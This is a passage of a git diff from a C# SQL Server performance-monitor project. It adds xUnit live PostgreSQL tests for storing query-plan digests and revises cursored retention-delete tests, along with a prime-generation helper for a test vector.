+        var smallPrimes = new[] { 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97 };
+        while (true)
+        {
+            RandomNumberGenerator.Fill(bytes);
+            bytes[0] |= 0xC0;
+            bytes[^1] |= 1;
+            var candidate = new BigInteger(bytes, isUnsigned: true, isBigEndian: true);
+            if (smallPrimes.Any(sp => candidate % sp == 0))
+            {
+                continue;
+            }
+
+            var probable = true;
+            for (var round = 0; round < 12 && probable; round++)
+            {
+                var witnessBytes = new byte[bits / 8 - 1];
+                RandomNumberGenerator.Fill(witnessBytes);
+                probable = MillerRabin(candidate, new BigInteger(witnessBytes, isUnsigned: true) + 2);
+            }
+
+            if (probable)
+            {
+                return candidate;
+            }
+        }
+    }
+
+    private static bool MillerRabin(BigInteger n, BigInteger a)
+    {
+        var d = n - 1;
+        var s = 0;
+        while (d.IsEven)
+        {
+            d >>= 1;
+            s++;
+        }
+
+        var x = BigInteger.ModPow(a, d, n);
+        if (x == 1 || x == n - 1)
+        {
+            return true;
+        }
+
+        for (var i = 1; i < s; i++)
+        {
+            x = BigInteger.ModPow(x, 2, n);
+            if (x == n - 1)
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private static string VectorPath([CallerFilePath] string thisFile = "") =>
+        Path.Combine(Path.GetDirectoryName(thisFile)!, "TestData", "password-seal-v1-vector.json");
+}
diff --git a/Darling/Darling.Tests/PayloadDigestPassThroughLiveTests.cs b/Darling/Darling.Tests/PayloadDigestPassThroughLiveTests.cs
new file mode 100644
index 0000000000..eff8d78cf8
--- /dev/null
+++ b/Darling/Darling.Tests/PayloadDigestPassThroughLiveTests.cs
@@ -0,0 +1,587 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The store side of writing a <c>query_stats</c> row from a plan digest the host already holds (#5158),
+/// against a real PostgreSQL (gated on DARLING_TEST_PG): the row's digest column gets the digest with no
+/// plan text and no dim insert, the dim row's <c>last_seen</c> is kept alive under the same 6-hour guard as
+/// the insert path, and a digest with no dim row is reported back instead of failing the batch.
+///
+/// <para>Rows are written through the collector definition's own <c>WritePayload</c> and the real
+/// <see cref="PgCollectorRowWriter"/> and <see cref="PayloadDimensionWriter"/>, in one transaction as the
+/// host does; the only stand-in is <see cref="DigestRoutingWriter"/>, which hands the plan column's write to
+/// <c>PayloadOrDigest</c> the way the collector will.</para>
+///
+/// <para>All times are fixed anchors well ahead of the clock, so no chunk boundary, retention job or
+/// wall-clock straddle can move a row under a test.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PayloadDigestPassThroughLiveTests
+{
+    private const string SkipReason =
+        "Set DARLING_TEST_PG to a Postgres connection string to run the payload digest pass-through store tests.";
+
+    private static readonly DateTime Anchor = new(2031, 3, 10, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private static (int ServerId, string ServerName) NewServer()
+    {
+        var suffix = Guid.NewGuid().ToString("N")[..12];
+        return (-Random.Shared.Next(1_000_000, int.MaxValue), "pm5158-" + suffix);
+    }
+
+    private static QueryStatsCollector.Row NewRow(string queryHash, string? planXml)
+        => new()
+        {
+            DatabaseName = "pm5158",
+            QueryHash = queryHash,
+            QueryPlanHash = "0xPLANHASH",
+            SqlHandle = "0x" + queryHash,
+            PlanHandle = "0x" + queryHash,
+            QueryText = null,
+            QueryPlanXml = planXml,
+        };
+
+    /// <summary>
+    /// Forwards every write, except that the plan column's null goes to PayloadOrDigest with a digest. A
+    /// PayloadOrDigest call the collector makes itself at the plan column forwards its own digest when it has one
+    /// and this writer's digest otherwise, so the stand-in stays correct once the collector routes its own.
+    /// </summary>
+    private sealed class DigestRoutingWriter : ICollectorRowWriter
+    {
+        private readonly PgCollectorRowWriter _inner;
+        private readonly int _planOrdinal;
+        private readonly string? _knownDigest;
+        private int _index;
+
+        public DigestRoutingWriter(PgCollectorRowWriter inner, int planOrdinal, string? knownDigest)
+        {
+            _inner = inner;
+            _planOrdinal = planOrdinal;
+            _knownDigest = knownDigest;
+        }
+
+        public ICollectorRowWriter Value(string? value)
+        {
+            if (_index++ == _planOrdinal && _knownDigest is not null)
+            {
+                _inner.PayloadOrDigest(value, _knownDigest);
+                return this;
+            }
+
+            _inner.Value(value);
+            return this;
+        }
+
+        public ICollectorRowWriter PayloadOrDigest(string? content, string? knownDigest)
+        {
+            var at = _index++;
+            _inner.PayloadOrDigest(content, knownDigest ?? (at == _planOrdinal ? _knownDigest : null));
+            return this;
+        }
+
+        private ICollectorRowWriter Pass(Action write) { _index++; write(); return this; }
+
+        public ICollectorRowWriter Value(long value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(long? value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(int value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(int? value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(short value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(short? value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(double value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(double? value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(decimal value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(decimal? value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(bool value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(bool? value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(DateTime value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter Value(DateTime? value) => Pass(() => _inner.Value(value));
+        public ICollectorRowWriter NullValue() => Pass(() => _inner.NullValue());
+    }
+
+    /// <summary>
+    /// Writes one query_stats batch and commits it, the way the host does: COPY and the dimension flush in
+    /// one transaction. A row whose entry in <paramref name="digests"/> is non-null is written from that
+    /// digest (its QueryPlanXml must be null); returns the flush's absent-digest list.
+    /// </summary>
+    private static async Task<IReadOnlyList<string>> WriteBatchAsync(
+        NpgsqlConnection connection,
+        int serverId,
+        string serverName,
+        DateTime collectionTime,
+        IReadOnlyList<(QueryStatsCollector.Row Row, string? KnownDigest)> rows,
+        CancellationToken ct)
+    {
+        var definition = QueryStatsCollector.Instance;
+        var context = new CollectorContext
+        {
+            ServerId = serverId,
+            ServerName = serverName,
+            CollectionTime = collectionTime,
+            Deltas = new CollectorDeltaCalculator(),
+        };
+
+        var planOrdinal = -1;
+        for (var i = 0; i < definition.PayloadColumns.Count; i++)
+        {
+            if (definition.PayloadColumns[i].Name == "query_plan_xml")
+            {
+                planOrdinal = i;
+            }
+        }
+
+        Assert.True(planOrdinal >= 0);
+
+        var writer = new PgCollectorRowWriter();
+        var dimensions = new PayloadDimensionBatch();
+        writer.UseDimensions(PayloadDimensions.DiversionPlanFor(definition), dimensions);
+
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+        IReadOnlyList<string> absent;
+        using (var importer = await connection.BeginBinaryImportAsync(PgCollectorRowWriter.CopyCommandFor(definition), ct))
+        {
+            writer.Importer = importer;
+            foreach (var (row, knownDigest) in rows)
+            {
+                await importer.StartRowAsync(ct);
+                writer.Value(CollectionIdGenerator.Next());
+                writer.Value(collectionTime).Value(serverId).Value(serverName);
+
+                writer.BeginPayload();
+                definition.WritePayload(row, new DigestRoutingWriter(writer, planOrdinal, knownDigest), context);
+                writer.EndPayload(definition.PayloadColumns.Count);
+            }
+
+            await importer.CompleteAsync(ct);
+        }
+
+        absent = await PayloadDimensionWriter.FlushAsync(connection, transaction, dimensions, collectionTime, ct);
+        await transaction.CommitAsync(ct);
+        return absent;
+    }
+
+    /// <summary>
+    /// The ONE place this file opens a connection. Production names the dimension tables bare
+    /// (PayloadDimensions.QueryPlanDimTable is "query_plan_dim") and resolves them through the data source's
+    /// search_path (DarlingManagedPostgres.BuildConnectionString sets NpgsqlConnectionStringBuilder.SearchPath).
+    /// Every connection opens the same way, so the bare names resolve as they do live; a connection added later
+    /// should come through here too.
+    /// </summary>
+    private static async Task<NpgsqlConnection> OpenWithStoreSearchPathAsync(string connectionString, CancellationToken ct)
+    {
+        var builder = new NpgsqlConnectionStringBuilder(connectionString) { SearchPath = PgSchemaGenerator.SearchPath };
+        var connection = new NpgsqlConnection(builder.ConnectionString);
+        try
+        {
+            await connection.OpenAsync(ct);
+        }
+        catch
+        {
+            await connection.DisposeAsync();
+            throw;
+        }
+
+        return connection;
+    }
+
+    private static async Task<NpgsqlConnection> OpenMigratedStoreAsync(string connectionString, CancellationToken ct)
+    {
+        var connection = await OpenWithStoreSearchPathAsync(connectionString, ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task<string?> ResolvedPlanAsync(NpgsqlConnection connection, int serverId, string queryHash, CancellationToken ct)
+    {
+        await using var read = new NpgsqlCommand(
+            "SELECT query_plan_xml, query_plan_gz FROM v_query_stats WHERE server_id = $1 AND query_hash = $2", connection);
+        read.Parameters.AddWithValue(serverId);
+        read.Parameters.AddWithValue(queryHash);
+        await using var reader = await read.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct), "the row must exist");
+        return PayloadDimensions.ResolveContent(
+            reader.IsDBNull(0) ? null : reader.GetString(0),
+            reader.IsDBNull(1) ? null : reader.GetFieldValue<byte[]>(1));
+    }
+
+    private static async Task<DateTime?> LastSeenAsync(NpgsqlConnection connection, byte[] digest, CancellationToken ct)
+    {
+        await using var read = new NpgsqlCommand("SELECT last_seen FROM query_plan_dim WHERE digest = $1", connection);
+        read.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bytea, Value = digest });
+        var value = await read.ExecuteScalarAsync(ct);
+        return value is DateTime stamp ? stamp : null;
+    }
+
+    private static async Task SetLastSeenAsync(NpgsqlConnection connection, byte[] digest, DateTime lastSeen, CancellationToken ct)
+    {
+        await using var update = new NpgsqlCommand("UPDATE query_plan_dim SET last_seen = $2 WHERE digest = $1", connection);
+        update.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bytea, Value = digest });
+        update.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = lastSeen });
+        await update.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task CleanupAsync(NpgsqlConnection cleanup, int serverId, IEnumerable<byte[]> planDigests, CancellationToken ct)
+    {
+        await using (var facts = new NpgsqlCommand("DELETE FROM query_stats WHERE server_id = $1", cleanup))
+        {
+            facts.Parameters.AddWithValue(serverId);
+            await facts.ExecuteNonQueryAsync(ct);
+        }
+
+        foreach (var digest in planDigests)
+        {
+            await using var dim = new NpgsqlCommand("DELETE FROM query_plan_dim WHERE digest = $1", cleanup);
+            dim.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bytea, Value = digest });
+            await dim.ExecuteNonQueryAsync(ct);
+        }
+    }
+
+    [Fact]
+    public async Task ADigestOnlyRow_ResolvesItsPlan_ThroughTheViewExactlyAsAContentRowDoes()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), SkipReason);
+
+        var ct = TestContext.Current.CancellationToken;
+        var (serverId, serverName) = NewServer();
+        var planXml = $"<ShowPlanXML server=\"{serverName}\"><StmtSimple/></ShowPlanXML>";
+        var digest = PayloadDimensions.Digest(planXml);
+
+        await using var connection = await OpenMigratedStoreAsync(connectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await WriteBatchAsync(connection, serverId, serverName, Anchor,
+                new[] { (NewRow("0xA", planXml), (string?)null) }, ct);
+
+            var absent = await WriteBatchAsync(connection, serverId, serverName, Anchor.AddMinutes(1),
+                new[] { (NewRow("0xB", null), (string?)Convert.ToHexString(digest)) }, ct);
+
+            Assert.Empty(absent);
+            Assert.Equal(planXml, await ResolvedPlanAsync(connection, serverId, "0xA", ct));
+            Assert.Equal(planXml, await ResolvedPlanAsync(connection, serverId, "0xB", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM query_plan_dim WHERE digest = $1", ct, digest));
+            Assert.Equal(2L, await ScalarAsync(
+                connection, "SELECT count(*) FROM query_stats WHERE server_id = $1 AND query_plan_digest = $2", ct, serverId, digest));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, serverId, new[] { digest }, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task TheTouch_MovesLastSeenOnlyWhenItIsOlderThanTheSixHourGuard()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), SkipReason);
+
+        var ct = TestContext.Current.CancellationToken;
+        var (serverId, serverName) = NewServer();
+        var planXml = $"<ShowPlanXML server=\"{serverName}\"><StmtSimple/></ShowPlanXML>";
+        var digest = PayloadDimensions.Digest(planXml);
+        var hex = Convert.ToHexString(digest);
+
+        await using var connection = await OpenMigratedStoreAsync(connectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await WriteBatchAsync(connection, serverId, serverName, Anchor,
+                new[] { (NewRow("0xA", planXml), (string?)null) }, ct);
+
+            /* Inside the guard: stored 5h59m behind the touching batch, so it must NOT move. */
+            var inside = Anchor.AddHours(10).AddMinutes(-(60 * PayloadDimensions.LastSeenRefreshGuardHours - 1));
+            await SetLastSeenAsync(connection, digest, inside, ct);
+            await WriteBatchAsync(connection, serverId, serverName, Anchor.AddHours(10),
+                new[] { (NewRow("0xB", null), (string?)hex) }, ct);
+            Assert.Equal(inside, await LastSeenAsync(connection, digest, ct));
+
+            /* Past the guard: stored 6h01m behind, so it MUST move to the batch's time. */
+            var past = Anchor.AddHours(10).AddMinutes(-(60 * PayloadDimensions.LastSeenRefreshGuardHours + 1));
+            await SetLastSeenAsync(connection, digest, past, ct);
+            await WriteBatchAsync(connection, serverId, serverName, Anchor.AddHours(10),
+                new[] { (NewRow("0xC", null), (string?)hex) }, ct);
+            Assert.Equal(Anchor.AddHours(10), await LastSeenAsync(connection, digest, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, serverId, new[] { digest }, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task AnAbsentDigest_IsReportedBack_AndItsRowReadsANullPlan()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), SkipReason);
+
+        var ct = TestContext.Current.CancellationToken;
+        var (serverId, serverName) = NewServer();
+        var presentPlan = $"<ShowPlanXML server=\"{serverName}\" present=\"1\"><StmtSimple/></ShowPlanXML>";
+        var present = PayloadDimensions.Digest(presentPlan);
+        var missing = PayloadDimensions.Digest($"<ShowPlanXML server=\"{serverName}\" missing=\"1\"/>");
+
+        await using var connection = await OpenMigratedStoreAsync(connectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await WriteBatchAsync(connection, serverId, serverName, Anchor,
+                new[] { (NewRow("0xA", presentPlan), (string?)null) }, ct);
+
+            var absent = await WriteBatchAsync(connection, serverId, serverName, Anchor.AddMinutes(1),
+                new[]
+                {
+                    (NewRow("0xB", null), (string?)Convert.ToHexString(present)),
+                    (NewRow("0xC", null), (string?)Convert.ToHexString(missing)),
+                }, ct);
+
+            Assert.Equal(new[] { Convert.ToHexString(missing) }, absent);
+            Assert.Equal(presentPlan, await ResolvedPlanAsync(connection, serverId, "0xB", ct));
+            Assert.Null(await ResolvedPlanAsync(connection, serverId, "0xC", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM query_plan_dim WHERE digest = $1", ct, missing));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, serverId, new[] { present, missing }, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task ARowWithContent_StaysOnTheOrdinaryPath_EvenWhenADigestIsAlsoOffered()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), SkipReason);
+
+        var ct = TestContext.Current.CancellationToken;
+        var (serverId, serverName) = NewServer();
+        var planXml = $"<ShowPlanXML server=\"{serverName}\"><StmtSimple/></ShowPlanXML>";
+        var digest = PayloadDimensions.Digest(planXml);
+
+        await using var connection = await OpenMigratedStoreAsync(connectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* A digest naming some OTHER plan, offered beside real content: the content wins, the row carries
+               the digest of the content, and nothing is touched or reported. */
+            var other = Convert.ToHexString(PayloadDimensions.Digest("<other/>"));
+            var absent = await WriteBatchAsync(connection, serverId, serverName, Anchor,
+                new[] { (NewRow("0xA", planXml), (string?)other) }, ct);
+
+            Assert.Empty(absent);
+            Assert.Equal(planXml, await ResolvedPlanAsync(connection, serverId, "0xA", ct));
+            Assert.Equal(1L, await ScalarAsync(
+                connection, "SELECT count(*) FROM query_stats WHERE server_id = $1 AND query_plan_digest = $2", ct, serverId, digest));
+            Assert.Equal(Anchor, await LastSeenAsync(connection, digest, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, serverId, new[] { digest }, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public void AKnownDigest_AtAPositionWithNoDivertedPayload_Throws_InsteadOfWritingANullPlan()
+    {
+        var hex = Convert.ToHexString(PayloadDimensions.Digest("<plan/>"));
+
+        var noPlan = new PgCollectorRowWriter();
+        Assert.Throws<InvalidOperationException>(() => noPlan.PayloadOrDigest(null, hex));
+
+        /* A diversion plan and a batch, but this position is not a diverted one (index 0 is not the plan column). */
+        var wrongPosition = new PgCollectorRowWriter();
+        wrongPosition.UseDimensions(
+            PayloadDimensions.DiversionPlanFor(QueryStatsCollector.Instance), new PayloadDimensionBatch());
+        wrongPosition.BeginPayload();
+        Assert.Throws<InvalidOperationException>(() => wrongPosition.PayloadOrDigest(null, hex));
+    }
+
+    [Fact]
+    public async Task ALowerCaseKnownDigest_RoundTrips_AndTheAbsentListReportsItUpperCased()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), SkipReason);
+
+        var ct = TestContext.Current.CancellationToken;
+        var (serverId, serverName) = NewServer();
+        var presentPlan = $"<ShowPlanXML server=\"{serverName}\" present=\"1\"><StmtSimple/></ShowPlanXML>";
+        var present = PayloadDimensions.Digest(presentPlan);
+        var missing = PayloadDimensions.Digest($"<ShowPlanXML server=\"{serverName}\" missing=\"1\"/>");
+
+        await using var connection = await OpenMigratedStoreAsync(connectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await WriteBatchAsync(connection, serverId, serverName, Anchor,
+                new[] { (NewRow("0xA", presentPlan), (string?)null) }, ct);
+
+            var absent = await WriteBatchAsync(connection, serverId, serverName, Anchor.AddMinutes(1),
+                new[]
+                {
+                    (NewRow("0xB", null), (string?)Convert.ToHexString(present).ToLowerInvariant()),
+                    (NewRow("0xC", null), (string?)Convert.ToHexString(missing).ToLowerInvariant()),
+                }, ct);
+
+            Assert.Equal(presentPlan, await ResolvedPlanAsync(connection, serverId, "0xB", ct));
+            Assert.Equal(new[] { Convert.ToHexString(missing) }, absent);
+            Assert.NotEqual(Convert.ToHexString(missing).ToLowerInvariant(), absent[0]);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, serverId, new[] { present, missing }, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// Two batches whose dim upserts and touches cross: each holds one stale digest from its upsert's conflict
+    /// arm (the row lock is taken even when the guard is false) and then touches the other's. Run with the real
+    /// SQL on two connections, in an interleaved order that needs no timing: the touches skip the rows the other
+    /// batch holds, so neither waits (a 2 s lock timeout is armed to make a wait fail fast as 55P03) and both
+    /// commit.
+    /// </summary>
+    [Fact]
+    public async Task TwoBatches_ThatUpsertOneStaleDigestEachAndTouchTheOthers_NeitherWaitsNorDeadlocks()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), SkipReason);
+
+        var ct = TestContext.Current.CancellationToken;
+        var (serverId, serverName) = NewServer();
+        var planA = $"<ShowPlanXML server=\"{serverName}\" which=\"a\"/>";
+        var planB = $"<ShowPlanXML server=\"{serverName}\" which=\"b\"/>";
+        var digestA = PayloadDimensions.Digest(planA);
+        var digestB = PayloadDimensions.Digest(planB);
+        var stale = Anchor;
+        var now = Anchor.AddHours(10);
+
+        await using var first = await OpenMigratedStoreAsync(connectionString!, ct);
+        await using var second = await OpenWithStoreSearchPathAsync(connectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* Both dim rows exist, committed, stored well past the guard behind the batches below. */
+            var seed = new PayloadDimensionBatch();
+            seed.Add(PayloadDimensions.QueryPlanDimTable, digestA, planA);
+            seed.Add(PayloadDimensions.QueryPlanDimTable, digestB, planB);
+            await using (var seedTransaction = await first.BeginTransactionAsync(ct))
+            {
+                await PayloadDimensionWriter.FlushAsync(first, seedTransaction, seed, stale, ct, compressPlanContent: false);
+                await seedTransaction.CommitAsync(ct);
+            }
+
+            await using var firstTransaction = await first.BeginTransactionAsync(ct);
+            await using var secondTransaction = await second.BeginTransactionAsync(ct);
+
+            await UpsertAsync(first, firstTransaction, digestA, planA, now, ct);
+            await UpsertAsync(second, secondTransaction, digestB, planB, now, ct);
+
+            await using (var timeout = new NpgsqlCommand("SET LOCAL lock_timeout = '2s'", first, firstTransaction))
+            {
+                await timeout.ExecuteNonQueryAsync(ct);
+            }
+
+            var firstAbsent = await TouchAsync(first, firstTransaction, new[] { digestB }, now, ct);
+            var secondAbsent = await TouchAsync(second, secondTransaction, new[] { digestA }, now, ct);
+
+            Assert.Empty(firstAbsent);
+            Assert.Empty(secondAbsent);
+
+            await firstTransaction.CommitAsync(ct);
+            await secondTransaction.CommitAsync(ct);
+
+            Assert.Equal(now, await LastSeenAsync(first, digestA, ct));
+            Assert.Equal(now, await LastSeenAsync(first, digestB, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, serverId, new[] { digestA, digestB }, cleanupCt));
+        }
+    }
+
+    /// <summary>The dim upsert exactly as the flush sends it (text payload, naive-UTC stamp).</summary>
+    private static async Task UpsertAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, byte[] digest, string payload, DateTime stamp, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            PayloadDimensions.UpsertSql(PayloadDimensions.QueryPlanDimTable, compressContent: false), connection, transaction);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Bytea, Value = new[] { digest } });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = new[] { payload } });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = stamp });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>The keep-alive touch exactly as the flush sends it; returns the digests it reports absent.</summary>
+    private static async Task<List<string>> TouchAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, byte[][] digests, DateTime stamp, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            PayloadDimensions.TouchSql(PayloadDimensions.QueryPlanDimTable), connection, transaction);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Bytea, Value = digests });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = stamp });
+        var absent = new List<string>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            absent.Add(Convert.ToHexString(reader.GetFieldValue<byte[]>(0)));
+        }
+
+        return absent;
+    }
+
+    [Fact]
+    public void ADigestThatIsNotAFullHexSha256_IsRefused_BeforeAnythingIsWritten()
+    {
+        var writer = new PgCollectorRowWriter();
+        writer.UseDimensions(
+            PayloadDimensions.DiversionPlanFor(QueryStatsCollector.Instance), new PayloadDimensionBatch());
+        Assert.Throws<ArgumentException>(() => writer.PayloadOrDigest(null, "not-hex"));
+        Assert.Throws<ArgumentException>(() => writer.PayloadOrDigest(null, "ABCD"));
+    }
+
+    private static async Task<object?> ScalarAsync(
+        NpgsqlConnection connection, string sql, CancellationToken ct, params object[] parameters)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        foreach (var parameter in parameters)
+        {
+            command.Parameters.Add(parameter is byte[] bytes
+                ? new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bytea, Value = bytes }
+                : new NpgsqlParameter { Value = parameter });
+        }
+
+        return await command.ExecuteScalarAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/PayloadDimensionLiveTests.cs b/Darling/Darling.Tests/PayloadDimensionLiveTests.cs
index 1173339ac6..fd745c1134 100644
--- a/Darling/Darling.Tests/PayloadDimensionLiveTests.cs
+++ b/Darling/Darling.Tests/PayloadDimensionLiveTests.cs
@@ -929,7 +929,7 @@ await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup
     /// #2388's batched drain against a REAL table, which is the half nothing covered. The existing drain
     /// tests inject a fake executor and prove the LOOP arithmetic; the SQL those batches actually run had
     /// only ever been asserted as a string. Both halves can be individually correct and still not delete
-    /// anything: <c>RowCappedDeleteSql</c> puts the cutoff bound, the ORDER BY and the LIMIT inside a
+    /// anything: <c>CursoredRowCappedDeleteSql</c> puts the cutoff bound, the ORDER BY and the LIMIT inside a
     /// <c>ctid IN (...)</c> subquery, and that shape has to survive contact with a real planner.
     ///
     /// <para>This is the failure #2386 measured on the dogfood store, so it is worth stating what "works"
@@ -985,17 +985,25 @@ public async Task RowCappedDelete_DrainsAcrossMultipleBatches_AndLeavesFreshRows
             }
 
             var batches = 0;
-            using var delete = new NpgsqlCommand(
-                DarlingRetention.RowCappedDeleteSql(
-                    PayloadDimensions.QueryPlanDimTable, PayloadDimensions.LastSeenColumn, cap),
-                connection);
-            delete.Parameters.AddWithValue(cutoff);
+
+            /* #5569: runs the production cursored statement (ExecuteCursoredBatchAsync), carrying the cursor
+               the way PurgeOneAsync does. Every expired row shares one last_seen, so every batch after the
+               first runs with a cursor equal to that value: the inclusive bound must keep taking the rest of
+               the tie group, or this drain would stall after one batch. */
+            DateTime? cursor = null;
 
             var deleted = await DarlingRetention.DrainBatchesAsync(
                 async batchCt =>
                 {
                     batches++;
-                    var rows = await delete.ExecuteNonQueryAsync(batchCt);
+                    var (rows, maxDeleted) = await DarlingRetention.ExecuteCursoredBatchAsync(
+                        connection, PayloadDimensions.QueryPlanDimTable, PayloadDimensions.LastSeenColumn,
+                        cap, cutoff, cursor, batchCt);
+                    if (maxDeleted is not null)
+                    {
+                        cursor = maxDeleted;
+                    }
+
                     return (rows, cap);
                 },
                 ct);
@@ -1088,6 +1096,7 @@ public async Task AdaptivePlanDimDrain_GrowsCapOnFastBatches_AndDrainsExactlyThe
             var batches = 0;
             var capsUsed = new List<int>();
             var cap = startCap;
+            DateTime? cursor = null;
 
             var deleted = await DarlingRetention.DrainBatchesAsync(
                 async ct2 =>
@@ -1096,15 +1105,23 @@ public async Task AdaptivePlanDimDrain_GrowsCapOnFastBatches_AndDrainsExactlyThe
                         async (attemptCap, attemptCt) =>
                         {
                             batches++;
-                            using var delete = new NpgsqlCommand(
-                                DarlingRetention.RowCappedDeleteSql(
-                                    PayloadDimensions.QueryPlanDimTable, PayloadDimensions.LastSeenColumn, attemptCap),
-                                connection);
-                            delete.Parameters.AddWithValue(cutoff);
-                            return await delete.ExecuteNonQueryAsync(attemptCt);
+                            /* The production statement (#5569): cursored, RETURNING the time column. Every
+                               expired row here shares ONE last_seen, so after the first batch every later one
+                               runs with a cursor equal to that value: the whole-tie-group case, which the
+                               inclusive bound must keep draining. */
+                            var (affected, maxDeleted) = await DarlingRetention.ExecuteCursoredBatchAsync(
+                                connection, PayloadDimensions.QueryPlanDimTable, PayloadDimensions.LastSeenColumn,
+                                attemptCap, cutoff, cursor, attemptCt);
+                            if (maxDeleted is not null)
+                            {
+                                cursor = maxDeleted;
+                            }
+
+                            return affected;
                         },
                         cap,
                         floorCap,
+                        PayloadDimensions.QueryPlanDimTable,
                         ct2);
 
                     capsUsed.Add(usedCap);
@@ -1707,7 +1724,14 @@ content it references. */
         try
         {
             /* INSIDE the try: creating aggregates is the shared-fixture mutation the finally restores.
-               Policies removed immediately - see EnsureAggregatesWithoutPoliciesAsync. */
